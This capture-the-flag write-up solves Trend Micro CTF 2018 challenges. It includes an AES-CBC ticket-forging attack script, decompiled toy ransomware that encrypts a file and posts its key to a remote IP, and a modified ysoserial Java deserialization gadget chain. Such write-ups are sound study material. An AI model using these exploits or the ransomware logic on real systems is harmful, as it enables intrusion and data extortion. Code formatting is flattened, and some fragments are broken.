# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
 - [Trend Micro CTF 2018](#trend-micro-ctf-2018)   - [Analysis-Offensive](#analysis-offensive)     - [200](#200)     - [300](#300)     - [400 ACME Protocol](#400-acme-protocol)   - [Reversing-Binary](#reversing-binary)     - [100 (sces60107)](#100-sces60107)     - [300](#300-1)     - [400](#400)       - [part 2](#part-2)   - [Forensics-Crypto1](#forensics-crypto1)     - [400](#400-1)   - [Forensics-Crypto2](#forensics-crypto2)     - [100 (sces60107)](#100-sces60107-1)     - [200 (sces60107)](#200-sces60107)     - [300](#300-2)   - [Reversing-Other](#reversing-other)     - [100, 200 (sces60107)](#100-200-sces60107)     - [400 (sces60107)](#400-sces60107)   - [Misc](#misc)     - [100](#100)     - [200](#200-1)     - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL)                               = 0x146d000brk(0x146e1c0)                          = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880)      = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0)                          = 0x148f1c0brk(0x1490000)                          = 0x1490000access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL)          = 0nanosleep({0, 15000000}, NULL)          = 0nanosleep({0, 15000000}, NULL)          = 0nanosleep({0, 15000000}, NULL)          = 0nanosleep({0, 15000000}, NULL)          = 0nanosleep({0, 15000000}, NULL)          = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False)                  = 6exit_group(0)                           = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True:    for c in string.ascii_letters + string.digits + '{}_':        batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c)        result = subprocess.check_output(batcmd, shell=True)        if result.count('nano') == len(flag) + 1:            flag += c            break    print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N):    phi_n = (p-1)*(q-1)    d = invert(65537, phi_n)    msg = pow(msg, d, N)    print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour):	Respond with message AUTHX_FAILURE	EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = “whoami”:	Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] }		where G1, G2, ... are the elements of Identity.GElse If Command = “getflag”:	If G contains the string “admin”:		Set Result = CTF flag	Else:		Respond with message AUTHX_FAILURE		EndElse:	Respond with message AUTHX_FAILURE	EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login. 
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`.  However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce! 
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s):    sock.send(s)    print(f'[<-send] {s}')
def recv():    s = sock.recv(2**14)    print(f'[recv->] {repr(s)}')    return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge. 
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk():    global rkey    global passw    global iv    global key    id = 0    n = 0    while id == 0 or n == 0 and n < 256:        id = os.urandom(1)        n = hex(ord(id) + bs)
    id = id.encode('hex')    for c in passw:        passw = ''.join(chr(ord(c) ^ int(n, 16)))
    key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key))    for c in rkey:        rkey = ''.join(chr(ord(c) ^ int(n, 16)))
    iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv))    key = key.encode('hex')    iv = iv.encode('hex')    Headers = {'Content-Type': 'application/x-www-form-urlencoded',     'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'}    params = urllib.urlencode({'id': id,     'key': key,     'iv': iv})    rnum = os.urandom(bs)    khash = SHA.new(rnum).digest()    cipher1 = ARC4.new(khash)    khash = khash.encode('hex')    msg = cipher1.encrypt(params)    msg = base64.b64encode(khash + msg.encode('hex'))    response = requests.post(url=URL, data=msg, headers=Headers)    del key    del iv    ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt():    global encfile    global infile    aes = AES.new(key, AES.MODE_CBC, iv)    if os.path.exists(infile):        fin = open(infile, 'r')        fout = open(encfile, 'w')        fsz = os.path.getsize(infile)        fout.write(struct.pack('<H', fsz))        while True:            data = fin.read(sz)            n = len(data)            if n == 0:                break            elif n % bs != 0:                data += '0' * (bs - n % bs)            crypt = aes.encrypt(data)            fout.write(crypt)
        fin.close()        fout.close()        os.remove(infile)        callbk()    else:        return
def decrypt():    global keyfile    key = ''    iv = ''    if not os.path.exists(encfile):        exit(0)    while True:        time.sleep(10)        if os.path.exists(keyfile):            keyin = open(keyfile, 'rb')            key = keyin.read(bs)            iv = keyin.read(bs)            if len(key) != 0 and len(iv) != 0:                aes = AES.new(key, AES.MODE_CBC, iv)                fin = open(encfile, 'r')                fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0]                fout = open(infile, 'w')                fin.seek(2, 0)                while True:                    data = fin.read(sz)                    n = len(data)                    if n == 0:                        break                    decrypted = aes.decrypt(data)                    n = len(decrypted)                    if fsz > n:                        fout.write(decrypted)                    else:                        fout.write(decrypted[:fsz])                    fsz -= n
                fin.close()                os.remove(encfile)                break
def main():    encrypt()    t2 = threading.Thread(target=decrypt, args=())    t2.start()    t2.join()
if __name__ == '__main__':    main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256:        id = os.urandom(1)        n = hex(ord(id) + bs)
    id = id.encode('hex')    for c in passw:        passw = ''.join(chr(ord(c) ^ int(n, 16)))
    key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key))    for c in rkey:        rkey = ''.join(chr(ord(c) ^ int(n, 16)))
    iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv))    key = key.encode('hex')    iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){    if(x>9)return x-10+'a';    return x+'0';}char s[100];unsigned int chash(){    unsigned long long int a = 0;    for(int i=0;i<62;i++){        a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll;        a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll;    }    return a;}void F(int p,int mask,bool boat){    if(p==62&&mask==0xFF){        cnt++;        unsigned int hsh=chash();        if(            hsh==0xE67FE7B8||            hsh==0xE27FEBB8||            hsh==0xE66FE7C8||            hsh==0xE26FEBC8||            hsh==0xF276F3DC||            hsh==0xE27703DC||            hsh==0xF272F3E0||            hsh==0xE27303E0        ){            fprintf(stderr,"%d %08x ",cnt,hsh);            for(int i=0;i<62;i++)                fprintf(stderr,"%02x",op[i]);            fprintf(stderr,"\n");        }        //puts("~~~");        return;    }    if(p+4<=62){        op[p]=0xd1;        if(boat==0){            op[p+1]=0x1;            for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){                op[p+3]=y;                for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){                    op[p+2]=y2;                    if(y2==0x40&&y==0x10)                        continue;                    int nmk=mask^y^y2;                    if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41))                        continue;                    if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24))                        continue;                    if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10))                        continue;                    F(p+4,nmk,boat^1);                }            }        }        else{            op[p+1]=0x0;            for(int x=mask,y=x&-;;y;x^=y,y=x&-x){                op[p+3]=y;                for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){                    op[p+2]=y2;                    if(y2==0x40&&y==0x10)                        continue;                    int nmk=mask^y^y2;                    if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41))                        continue;                    if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24))                        continue;                    if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10))                        continue;                    F(p+4,nmk,boat^1);                }            }        }    }    if(p+3<=62){        op[p]=0xd0;        if(boat==0){            op[p+1]=0x1;            for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){                op[p+2]=y;                int nmk=mask^y;                if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41))                    continue;                if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24))                    continue;                if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10))                    continue;                F(p+3,nmk,boat^1);            }        }        else{            op[p+1]=0x0;            for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){                op[p+2]=y;                int nmk=mask^y;                if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41))                    continue;                if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24))                    continue;                if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10))                    continue;                F(p+3,mask^y,boat^1);            }        }    }    return;}int main(){    F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s):    l = [s[i:i+8] for i in range(0, len(s), 8)]    return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t):    return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this![](https://i.imgur.com/Us1VVbq.png)4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300 
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project. 
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24):  flag.append(BitVec("flag_"+str(i),32))  s.add(flag[i] < 256)  s.add(flag[i] > 0)
summ=0
for i in flag:  summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag:  inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5):  for j in range(4):    KYRYK[i] ^= inval[i+j]    QQRTQ[i] += inval[i+j]    KYRYJ[i] ^= inval[i*j]    QQRTW[i] += inval[i*j]    KYRYH[i] ^= inval[i*j+8]    QQRTE[i] += inval[i*j+8]    KYRYG[i] ^= ROFL[i*j+8]    QQRTR[i] += ROFL[i*j+8]    KYRYF[i] ^= ROFL[i+j]    QQRTY[i] += ROFL[i+j]  KYRYK[i] += 32  KYRYJ[i] += 32  KYRYH[i] += 32  KYRYG[i] += 32  KYRYF[i] += 32  QQRTE[i] += 8  QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'):  k=ord(j)  s.add(i == k)for i,j in zip(QQRTQ,'l1:C('):  k=ord(j)  s.add(i == k)for i,j in zip(KYRYJ,' RP%A'):  k=ord(j)  s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]):  s.add(i == j)for i,j in zip(KYRYH,' L30Z'):  k=ord(j)  s.add(i == k)for i,j in zip(QQRTE,' j36~'):  k=ord(j)  #print i,j  s.add(i == k)for i,j in zip(KYRYG,' M2S+'):  k=ord(j)  #print i,j  s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'):  k=ord(j)  s.add(i == k)for i,j in zip(KYRYF,'6!2$D'):  k=ord(j)  s.add(i == k)for i,j in zip(QQRTY,']PaSs'):  k=ord(j)  s.add(i == k)print s.check()realflag = ""for i in flag:  realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------0             0x0             PDF document, version: "1.7"353           0x161           JPEG image data, JFIF standard 1.01383           0x17F           TIFF image data, big-endian, offset of first image directory: 8749016        0xB6DD8         Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123        0xB6E43         Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997       0x4BD60D        End of Zip archive, footer length: 31, comment: "Boooooom!"4970099       0x4BD673        Zlib compressed data, default compression4971214       0x4BDACE        Zlib compressed data, default compression4971660       0x4BDC8C        Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------0             0x0             PDF document, version: "1.7"353           0x161           JPEG image data, JFIF standard 1.01383           0x17F           TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*'  -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set()  # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code 
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each)          for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors):       class_member_mask = (labels == k)    xy = X[class_member_mask & core_samples_mask]    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),             markeredgecolor='k', markersize=14) 
 #NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```
![](https://i.imgur.com/8kxeOoM.png)
With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server  extends HttpServlet{  private static final long serialVersionUID = 1L;    public Server() {}   protected void doPost(HttpServletRequest request, HttpServletResponse response)    throws ServletException, IOException  {    try     {       ServletInputStream is = request.getInputStream();      ObjectInputStream ois = new CustomOIS(is);      Person person = (Person)ois.readObject();      ois.close();      response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!.");    } catch (Exception e) {      response.setStatus(500);      e.printStackTrace(response.getWriter());    }   }}                ```
```java// CustomOIS.javapublic class CustomOIS  extends ObjectInputStream{  private static final String[] whitelist = { "javax.management.BadAttributeValueExpException",    "java.lang.Exception",    "java.lang.Throwable",    "[Ljava.lang.StackTraceElement;",    "java.lang.StackTraceElement",    "java.util.Collections$UnmodifiableList",    "java.util.Collections$UnmodifiableCollection",    "java.util.ArrayList",    "org.apache.commons.collections.keyvalue.TiedMapEntry",    "org.apache.commons.collections.map.LazyMap",    "org.apache.commons.collections.functors.ChainedTransformer",    "[Lorg.apache.commons.collections.Transformer;",    "org.apache.commons.collections.functors.ConstantTransformer",    "com.trendmicro.jail.Flag",    "org.apache.commons.collections.functors.InvokerTransformer",    "[Ljava.lang.Object;",    "[Ljava.lang.Class;",    "java.lang.String",    "java.lang.Object",    "java.lang.Integer",    "java.lang.Number",    "java.util.HashMap",    "com.trendmicro.Person" };
  public CustomOIS(ServletInputStream is) throws IOException {    super(is);  }
  public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException  {    if (!Arrays.asList(whitelist).contains(des.getName())) {      throw new ClassNotFoundException("Cannot deserialize " + des.getName());    }    return super.resolveClass(des);  }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable {  public String name;   public Person(String name) { this.name = name;  }} public class Flag implements Serializable {  static final long serialVersionUID = 6119813099625710381L;   public Flag() {}   public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server. 
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable {  static final long serialVersionUID = 6119813099625710381L;  public Flag() {}  public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }                                             }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
  public BadAttributeValueExpException getObject(final String command) throws Exception {    final String[] execArgs = new String[] { command };    // inert chain for setup    final Transformer transformerChain = new ChainedTransformer(            new Transformer[]{ new ConstantTransformer(1) });    // real chain for after setup    final Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Flag.class), // Flag class here         new InvokerTransformer("getMethod", new Class[] {          String.class, Class[].class }, new Object[] {          "getFlag", new Class[0] }), // invoke static method getFlag        new InvokerTransformer("invoke", new Class[] {          Object.class, Object[].class }, new Object[] {          null, new Object[0] }),        new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
